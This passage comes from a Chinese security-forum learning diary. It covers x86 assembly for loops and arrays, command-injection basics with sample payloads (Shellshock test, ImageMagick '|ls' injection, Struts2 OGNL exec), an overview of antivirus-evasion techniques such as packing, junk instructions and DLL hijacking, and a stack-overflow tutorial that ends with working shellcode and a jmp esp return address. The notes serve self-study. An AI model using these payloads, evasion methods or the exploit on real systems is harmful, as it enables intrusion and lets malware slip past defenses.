  9.         while(nCount<argc);   argc为整型,用来统计程序运行时发送给main函数的命令行参数的个数,在VS中默认值为1。
  10.         return 0;
  11. }

复制代码
切到反汇编模式

可以看到,先执行了输出语句和nCount的自增,然后比较nCount和argc的大小,若小于则循环,否则将线性向下执行。
下面是我写的汇编代码
  1. #include "stdafx.h"

  2. int main(int argc, char* argv[])
  3. {
  4.         //int nCount=0;
  5.         char *str="%d\r\n";
  6.         _asm{
  7.                                           mov eax,0
  8.     circle:                 push eax
  9.                    push str
  10.                                         call printf       //调用printf函数
  11.                                                     add esp,8       //平衡栈
  12.                    inc eax         //nCount自增,         
  13.                                         cmp eax,dword ptr [ebp+8]
  14.                                     jl circle                               //if (nCount<argc),跳转到circle循环执行
  15.                   xor eax,eax     //设置返回值为0
  16.         }
  17. }
复制代码
成功运行!
在IDA Pro里面识别do—while循环   




0x02 while循环
while循环的流程是:先进行表达式判断,在执行语句块,当表达式为真时,会继续执行语句块,示例如下:
  1. #include<stdio.h>
  2. void main()
  3. {
  4. int i,sum=0;
  5. i=1;
  6. while(i<=100)
  7. {
  8.                sum=sum++;
  9.              i++;
  10. }
  11.   printf("%d\n",sum);
  12. }
复制代码
切入到反汇编:
可以看到,先比较i与100的大小,若i<=100,则执行语句块,否则就直接输出sum。
下面是我写的汇编代码
  1. #include<stdio.h>
  2. void main()
  3. {
  4.       char *str="%d\n";
  5. _asm{
  6.                            mov eax,1             //i=1
  7.                            mov ebx,0            //sum=0
  8. circle:           cmp eax,100
  9.                             jg   end
  10.                  add ebx,1              //sum++
  11.                            inc eax,1            //i++
  12.                           jmp circle
  13. end:
  14.                            push ebx
  15.                            push str
  16.                            call printf
  17.                  add esp,8
  18. }
  19. }
复制代码
在IDA Pro里面识别while循环


循环的特点是会向低地址跳转。while循环和do-while循环区别
1.while循环使用的是jmp循环,while循环使用的是jxx汇编指令需要取反
2.while循环比do循环多一次if判断,因此性能上while循环不如do循环高,在Release版本中,编译器会把while循环优化成等价的do循环。

0x03 for循环
for语句由赋初值,循环条件,循环步长三条语句组成,示例如下:
  1. #include "stdafx.h"

  2. int main(int argc, char* argv[])
  3. {
  4.     for(int nCount=0; nCount<argc;nCount++)
  5.            {
  6.                         printf("%d\r\n",nCount);
  7.            }
  8.                 return 0;
  9. }
复制代码
切入到反汇编
在这里可以看到,对nCount赋值以后,就跳到判断的位置,如果判断结果为真,就跳上去执行语句块
接下来是我写的汇编代码:
  1. #include "stdafx.h"

  2. int main(int argc, char* argv[])
  3. {
  4.       char *str="%d\r\n";
  5. _asm{
  6.             mov eax,0   
  7.                      jmp judge
  8. circle:      add eax,1
  9. judge:     cmp eax,dword ptr[ebp+8]
  10.                              jge circle
  11.                       push eax
  12.                       push str
  13.                       call printf
  14.             add esp,8
  15.             xor eax,eax
  16. }
  17. }
复制代码
在IDA Pro里面识别for循环


关于循环语句的学习就先到这里。

eax加1,可以有如下两种表示
  1. inc eax
  2. add eax,1
复制代码
虽然功能一样,可还是有以下区别:
(1) 机器码长度不同,inc短,add长。(这不是关键)
(2)INC不改变标志位CF,而ADD则改变CF。(这点很关键。)
例如:
        number dw 0FFFFH,1234H,0,0,0
       表示的80位数1234FFFFH,希望给它加2。
        MOV SI,OFFSET NUMBER
         MOV CX,4              ;4个高位的字单元
        ADD WORD PTR [SI],2   ;最低位加2
L1:
         INC SI
         ADC WORD PTR [SI],0   ;把产生的进位加到高位
        LOOP L1
若把INC SI换成ADD SI,1就会出错。原因是 ADD WORD PTR [SI],2产生了CF,若用ADD SI,1就会把CF清0,从而后面的ADC就不能把前面的进位加上。
  1. <div align="left">dec eax</div><div align="left">sub eax,1</div>
复制代码
eax减1,dec和sub的区别也和加1类似。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-4 21:45:09 | 显示全部楼层
本帖最后由 gclome 于 2020-3-4 21:46 编辑

乌云文章总结之命令执行漏洞
      今天看了几个关于任意命令执行的漏洞,通过这个漏洞我们可以获取一些重要信息,所以这个也是很有用的一个漏洞,我百度了一些命令执行的相关知识,整理如下:
0x00原理

应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

0x01 常见的连接符
  1. A;B    先执行A,再执行B
  2. A&B    简单拼接,A B之间无制约关系
  3. A|B    显示B的执行结果
  4. A&&B   A执行成功,然后才会执行B
  5. A||B   A执行失败,然后才会执行B
复制代码
0x02分类
1. 代码层过滤不严商业应用的一些核心代码封装在二进制文件中,在Web应用中通过system函数来调用:
system("/bin/program --arg $arg");

示例代码:
  1. $target = $_REQUEST[ '$arg' ];
  2. $cmd = shell_exec( $target);
复制代码


2. 系统的漏洞造成命令注入<下面的每个漏洞都值得去探究和复现,之后会把这部分补上来!>bash破壳漏洞(CVE-2014-6271)
这个漏洞主要影响的是linux/unix系统
检查你的计算机是否存在此漏洞
  1. <span class="pln">bash </span><span class="pun">--</span><span class="pln">version
  2. env x</span><span class="pun">=</span><span class="str">'() { :;};
  3. echo shellshocked'</span><span class="pln"> bash </span><span class="pun">–</span><span class="pln">c </span><span class="str">"echo test"</span>
复制代码
当你的GNU Bash 版本小于等于4.3或出现以下回显则会证明存在此漏洞
在freebuf上找到了一个关于bash破壳漏洞的好文章,https://www.freebuf.com/articles/system/50065.html


3. 调用的第三方组件存在代码执行漏洞

3.1   WordPress中用来处理图片的ImageMagick组件;
        WP_Image_Editor_Imagick漏洞本不是wordpress程序本身的漏洞,而是如果自己服务器环境中安装了ImageMagick组件且没有补丁的情况下才会被利用。  

漏洞验证方法:若系统中安装使用了ImageMagick,本地执行如下命令
  1. <span class="pln">CONVERT </span><span class="str">'https://example.com"|ls "-la'</span><span class="pln"> OUT</span><span class="pun">.</span><span class="pln">png</span>
复制代码
未执行ls 命令,并报错,说明不受影响,若ls -la 命令成功执行,说明存在漏洞,则需要升级组件

这里有一篇ImageMagick漏洞利用的文章

3.2  JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等);


1.Apache Struts2的“Dynamic Method Invocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,如果未关闭此机制将导致远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码。
2.Apache Struts2在实现过程中使用了OGNL表达式,并将用户通过URL提交的内容拼接入OGNL表达式中,当debug模式开启时,攻击者可以通过构造恶意URL来执行任意Java代码,进而可执行任意命令。
3.Apache Struts 2.3.1.1之前版本中的DebuggingInterceptor组件中存在漏洞。当使用开发模式时,远程攻击者可利用该漏洞借助未明向量执行任意命令。

4.Apache Struts2的action:、redirect:和redirectAction:前缀参数在实现其功能的过程中使用了OGNL表达式,并将用户通过URL提交的内容拼接入OGNL表达式中,从而造成攻击者可以通过构造恶意URL来执行任意Java代码,进而可执行任意命令。redirect:和redirectAction:此两项前缀为Struts默认开启功能,目前Struts 2.3.15.1以下版本均存在此漏洞。

struts2框架:针对action时,调用底层的java Bean的getter/setter方法处理http参数,将每个http参数声明为一个ongl语句。
  1. <p><font size="3">?user.address.city=bj&user['name']=admin--------转化为:obj.getUser().getAdress().setCity="bj";</font></p><p><font size="3">执行语句:java.lang.Runtime.getRuntime().exec("net user");
  2. </font></p>
复制代码

3.3  ThinkPHP命令执行;
这个漏洞主要是:
  1.     表单请求类型伪装 + filter参数 = 覆盖变量filter;

  2.     变量覆盖filter + debug模式 + 执行filter = 命令执行。
复制代码
这里有一篇thinkphp5命令执行漏洞的复现的文章,写得很详尽,感兴趣的童鞋可以去瞅瞅

0x03 防御
  • 尽量少用执行命令的函数或者直接禁用
  • 参数值尽量使用引号包括,并在拼接前调用addslashes函数进行转义,
  • 使用参数白名单,或使用正则表达式进行过滤
  • 在使用动态函数之前,确保使用的函数是指定的函数之一
  • 在进入执行命令的函数方法之前,对参数进行过滤,对敏感字符进行转义
  • 对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤
                                                                                                                           
                                    

回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-8 21:52:12 | 显示全部楼层
本帖最后由 gclome 于 2020-3-9 14:17 编辑

汇编学习--数组
数组是相同数据类型的元素的集合,它们的内存中按顺序连续存放在一起。在汇编状态下访问数组一般是通过基址加变址寻址实现的。
先找一个数组访问的C语言代码:
  1. #include<stdio.h>
  2. int main()
  3. {
  4.            static int a[3]={0x11,0x22,0x33};
  5.              int i,s=0,b[3];
  6. for(i=0;i<3;i++)
  7. {
  8.                s=s+a[i];
  9.                 b[i]=s;
  10. }
  11.          for(i=0;i<3;i++)
  12. {
  13.                  printf("%d\n",b[i]);
  14. }
  15.          return 0;
  16. }
复制代码

查看对应的反汇编


第一个for循环将a数字的值逐个加上s,并赋值给了b数组;第二个for循环就是将b数组里的元素逐个输出。
接下来通过反汇编对操作数组的过程简要分析:
  1. 8: s=s+a[i];
  2. 00401047          8B 4D FC                                 mov ecx,dword ptr [ebp-4]      //ebp-4这里存的i的值,并放到ecx寄存器里              
  3. 0040104A         8B 55 F8                                    mov edx,dword ptr [ebp-8]     //ebp-8存的是s的值,并放到edx寄存器里
  4. 0040104D         03 14 8D 30 4A 42 00                add edx,dword ptr [ecx*4+424A30h]      // s+a[i] ,看下面解释1
  5. 00401054          89 55 F8                                   mov dword ptr [ebp-8],edx      //把相加后的值在放到ebp-8处
  6. 9: b[i]=s;
  7. 00401057         8B 45 FC                                    mov eax,dword ptr [ebp-4]       //这里还是相当于i的值赋值到eax寄存器
  8. 0040105A          8B 4D F8                                 mov ecx,dword ptr [ebp-8]        //把相加后的值放到ecx寄存器
  9. 0040105D          89 4C 85 EC                            mov dword ptr [ebp+eax*4-14h],ecx      //将ecx中的值放到内存地址为ebp+eax*4-14h处,看下面解释2
  10. 10: }
复制代码
解释1:dword ptr [ecx*4+424A30h],这里对a数组的寻址是通过基址加变址实现的,首先我们在内存中看一下424A30h处的值,可以看到404A30h恰好就是数组的首地址,说明当我们对数组初始化时,就会分配一段内存空间出来用于存放数组中的值,那么对整个数组的取值就可以变成[ecx*4+424A30h],其中当ecx的值取0,1,2,就可以遍历整个数组,由于我们把i赋值给了ecx寄存器,所以ecx的取值会通过i的值的变化而变化。


解释2:mov dword ptr [ebp+eax*4-14h],这是对b数组赋值,ebp指向0019FF30,ebp-14h是0019FF1C处,也是b数组的首地址,
在for循环中,i=0,也就是当eax为0的时候,此时s的值为0,ebp-8处的值为11,然后通过ecx再把11放到0019FF1C,
第二次循环,i=1,eax也为1,此时s的值为11,ebp-8处的值是22,于是相加赋值给了[ebp+1*4-14h]处,也就是0019FF20,
第三次循环,i=2,eax也为2,此时s的值是33,ebp-8处的值是33,于是相加赋值给了[ebp+2*4-14h]处,也就是0019FF24.
这里值得注意的是:我们之前定义的数组b[3] , 内存就会自动分配3个字节的内存空间用于存放数组中的元素。

对b数组的赋值就结束了,接下来看一下如何输出b数组

  1. 12:   {
  2. 13:            printf("%d\n",b[i]);
  3. 0040107B      8B 45 FC                mov   eax,dword ptr [ebp-4]                  //eax作为数组的下标
  4. 0040107E      8B 4C 85 EC           mov   ecx,dword ptr [ebp+eax*4-14h]   //还是通过基址加变址的方式对数组进行寻址,并把数组中的值通过循环逐个的赋值给ecx寄存器
  5. 00401082      51                         push     ecx                                           //ecx进栈
  6. 00401083      68 1C 20 42 00       push    offset string "%d\n" (0042201c)   //“%的\n”进栈
  7. 00401088      E8 43 00 00 00       call    printf (004010d0)                          //调用输出函数
  8. 0040108D     83 C4 08                add         esp,8                      //平衡堆栈
  9. 14:   }
复制代码

接下来写出这个程序的汇编代码:

写这个程序的汇编代码时,我发现其实完全一个for语句就可以完成上面对b数组的赋值和输出,所以在汇编的时候,我只用了一个for语句。
第一版:

       这个是第一次写出来的汇编,结果只输出了第一个值,于是我加断点,调试发现,当执行完第一遍输出语句之后,eax的值就变成了3,再回去执行add eax,1时,eax就变成4,cmp eax,3之后,由于大于3就直接跳出循环了,这样的话,肯定只能输出一个值。

可是eax寄存器的值为什么会变呢?发现printf语句执行过程中会用到eax,所以改变了eax的值

第二版
另外,我还有一个发现就是在第一版的基础上用ebx计数,那么就会输出三个值,说明ebx可以用作数组的索引,只是后两个数并不正确,那说明我不能把s的值存入寄存器,而是使用绝对地址!


有了这个发现,我在对代码进行了修改现在就可以成功的输出来了!汇编代码如下:
  1. #include<stdio.h>
  2. int main()
  3. {
  4.     static int a[3]={0x11,0x22,0x33};
  5.     char *str="%d\n";
  6.     _asm{
  7.                         mov dword ptr [ebp-8],0                 //s=0
  8.                          mov ebx,0                              //i=0
  9.                          jmp judge
  10. round:      add ebx,1                     ebx进行计数

  11. judge:          cmp ebx,3
  12.                           jge end            //大于等于3则跳到end
  13.                          mov edx,dword ptr [ebp-8]
  14.                          add edx,dword ptr [ebx*4+424A30h]   //s=s+a[i]
  15.                          mov dword ptr [ebp-8],edx               //将相加后的值放到[ebp-8]处
  16.                          mov dword ptr [ebp+ebx*4-14h],edx     //b[i]=s
  17.                          mov ecx,dword ptr[ebp+ebx*4-14h]   
  18.                          push ecx
  19.                          push str
  20.                 call printf
  21.                          add esp,8
  22.                          jmp round
  23. end:
  24.                         xor eax,eax          //return 0
  25.     }
  26. }
复制代码
运行结果:


小结:
1.在内存中,数组可存在于栈,数据段及动态内存中,其寻址用“基址+偏移量”实现。这种间接寻址一般出现在给一些数组或是结构赋值的情况下.基址可以是常量,也可以是寄存器,为定值。根据偏移量的不同,可以对结构中相应单元赋值。

2.b[]数组放在栈中,这些栈在编译时分配。数组在声明时可以直接计算偏移地址,针对数组成员寻址是采用实际的偏移量完成的。

3.寄存器ebx可以用作数组的索引,非常类似于高级语言中的变量i

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-9 22:41:37 | 显示全部楼层
昨天数组的问题已经解决,并且在上一篇帖子上直接修改了。


今天就看了几篇免杀的文章,由于自己看的顺序有点乱,所以我想从开始重新记录编辑到自己的日记里。今天就从最远控免杀主题的基础篇开始。
免杀:Anti-AntiVirus(Virus AV)


0x01杀毒软件检测方式:
扫描技术:扫描压缩包技术、程序篡改防护、修复技术、急救盘杀毒、智能扫描、全盘扫描、勒索软件防护、开机扫描
监控技术:内存监控、文件监控、邮件监控、网页防护、行为防护
扫描引擎:特征码扫描、文件校监和法、进程行为检测法(沙盒模式)、主动防御技术、机器学习识别技术



0x02免杀技术介绍:
1.修改特征码
  1. 特征码:能识别一个程序是一个病毒的一段不大于64字节的特征串
复制代码
2、花指令免杀
花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。



3、加壳免杀

壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。


4、内存免杀
5、二次编译
6、分离免杀
7、资源修改

0x03

今天老师还对shellcode执行免杀进行了讲解,主要有四种关键技术:多态,变形,在解释执行,刷白名单

1、多态:这里的多态是一个广泛的概念,不同的代码执行相同的功能,执行不同的函数调用序列,可以避规行为特征序列的查杀,但这个与病毒多态的思路还不一样,病毒多态通常指的是功能多态,而这里说的是同样功能的代码序列不一样,主要针对动态查杀。shellcode被动态查杀的原因是调用api序列固定了,那我们对抗查杀就是要破坏api序列的顺序关系。插入花指令算这种

2、变形:利用各种编码和进行混淆,通常解码后执行的东西并没有改变。之前训练的编码和加密的处理方式都属于这一类。容易被动态查杀,但通常可以过静态查杀。这个和普通病毒变形技术也不太一样。

3、再解释执行:
      第一种:   虚拟机技术执行;这个好比自己定义了一个房间,然后定义一种语言,在这个房间内程序用自己的语言进行交流。
      第二种:中间语言字节码执行;例如用python,go,java,ruby,lua,vbs,c# 加载字节码执行,这个时候相当于用一种中间IL语言语法器去执行            shellcode,从而绕过各种静态和动态分析。这种方法的加载过程大同小异,先开辟空间,加载相关系统函数,然后把shellcode执行。
这种用脚本语言和中间语言包裹的方式就是再解释执行,执行器实际是各种语言的虚拟机


假如我们用c#编译,如果直接编译成机器码,是会被查杀的,所以通过翻译成中间语言IL,然后又c#解释器负责解释这个编译后的伪代码。此时的中间代码并非真正意义上的机器码。通过这种方式灵活性跟大,同时更容易过查杀。


4、刷白名单
   1.利用白名单程序加载字节码shellcode执行
   2.dll劫持:这里又分了三类:
      (1)例如一个exe调用了a.dll这个动态链接库,那么我们如果有a.dll的源代码,我们就可以把shellcode加进去到某一个加载项里面。
    (2)如果我们没有a.dll的源代码,我们把自己的shellcode编译在b.dll,然后用loadpe之类的工具编辑a.dll注入对b.dll的调用。
    (3)这个劫持法,很暴力,直接用我们的a.dll覆盖原来的a.dll,这种方法只适用于a.dll是功能次要的函数比如update功能
      相比来说,第(2)种方法比较普遍,利用这个,我们可以劫持正常程序而不需要自己开进程杀毒,杀毒是对正常程序没用的。

免杀大部分就是这基础四类,如果将这四种方法组合使用就会得到更加复杂的方法。




回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-11 21:59:24 | 显示全部楼层
缓冲区溢出
参考文章:缓冲区溢出入门

0x01 什么是缓冲区溢出
首先要明确,缓冲区的位置可能在数据段、也可能在堆栈段。这个是我之前并不清楚的。

栈溢出漏洞产生的主要原因是栈空间保存了函数的返回地址,该地址保存了函数调用结束后后续执行指令的位置,如果修改了这个返回地址,并且使这个返回地址指向一个新的代码位置,那么程序就能从其他位置继续执行,这样就产生了栈溢出漏洞攻击。

0x02 缓冲区溢出示例
  1. #include"stdio.h"
  2. #include"string.h"

  3. char test1[]="abcdefgh";
  4. char test2[]="abcdefghiklmnop";

  5. int main()
  6. {
  7.       char buffer[8];
  8.       strcpy(buffer,test1);
  9.       printf("%s\n",buffer);
  10.       return 0;
  11. }
复制代码
strcpy函数是一个典型的栈溢出代码,在使用不安全的strcpy库函数的时候,系统会盲目的将test的全部数据拷贝到buffer指详细设计的区域。因为buffer的长度是有限的,当test的数据长度超过了BUF_LEN的时候,便会产生缓冲区溢出。

1.当我们使用strcpy(buffer,test1)时,可以成功执行。
2.当我们使用strcpy(buffer,test2)时,因为当ret之后的返回地址错误的地址,所以会报错。
这里发生了缓冲区溢出,可是如何定位返回地址的位置呢?
结合这两张图发现,当输入是abcdefghiklmnop时,mnop会将原来的返回地址覆盖掉,那我们可以用abcdefghiklXXXX替换掉abcdefghiklmnop,那么“XXXX”就是新的返回地址,就可以让它跳到我们想要执行的代码那里去。

0x03缓冲区溢出漏洞的利用

         Payload = overflow + jmp esp address + shellcode
   缓冲区漏洞的利用主要解决三个问题:
  • 精确定位返回地址的位置
  • 寻找一个合适的地址用于覆盖原始地址
  • 编写shellcode到相应的缓冲区中


1.首先,第一个问题我们在前面已经成功解决。
2.根据栈空间的特性,当弹出返回地址的时候,ESP指针会自增4,指向main函数的三个参数,那么可以利用这一特性,将返回地址覆盖为“jmp esp”指令的地址,然后将main函数的参数覆盖为shellcode,这样当执行完main函数ret的时候就会跳转到jmp esp指令处然后执行esp中的代码(shellcode)。那么如何寻找本机的jmp esp呢?这个网上都有代码,运行之后可以找到,下面是我找到的:



运行找到很多user32.dll中的jmp esp地址,可以使用其中某个地址作为jmp esp指令地址,有些地址跟系统和运行程序相关,有些地址是通用的

3.我们用写好的可以弹messagebox的shellcode按照上面对payload的构造开始编写溢出漏洞执行的代码:
  1. #include"stdio.h"
  2. #include"windows.h"
  3. #include"string.h"

  4. char test3[]="\x61\x62\x63\x64\x65\x66\x67\x68"   //test[0]-test[7]
  5. "\x69\x6a\x6b\x6c"                                 //ebp
  6. "\x79\x5b\xe3\x77"                           //jmp esp
  7. "\x83\xec\x50\x33\xdb\x68\x69\x6e\x67\x20\x68\x77\x61\x87\x6e\x8b\xc4\x53\x68\x77\x20\x20\x20"            //shellcode            
  8. "\x33\xdb\x68\x69\x6e\x67\x20\x68\x77\x61\x87\x6e\x8b\xc4\x53\x68\x77\x20\x20\x20\x68\x78\x66\x6c\x6f"
  9. "\x68\x6b\x4f\x76\x65\x68\x53\x74\x61\x63\x8b\xcc\x53\x51\x50\x53\xb8\xea\x07\xd5\x77\xff\xd0\x53\xb8\xfa\xca\x81\x7c\xff\xd0";

  10. int main()
  11. {
  12.           LoadLibrary("user32.dll");   //弹窗MessageBox,所以main()函数调用user32.dll
  13.        char buffer[8];
  14.         strcpy(buffer,test3);
  15.        printf("%s\n",buffer);
  16.        return 0;
  17. }
复制代码
运行结果:



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-5-27 04:56 , Processed in 0.023400 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表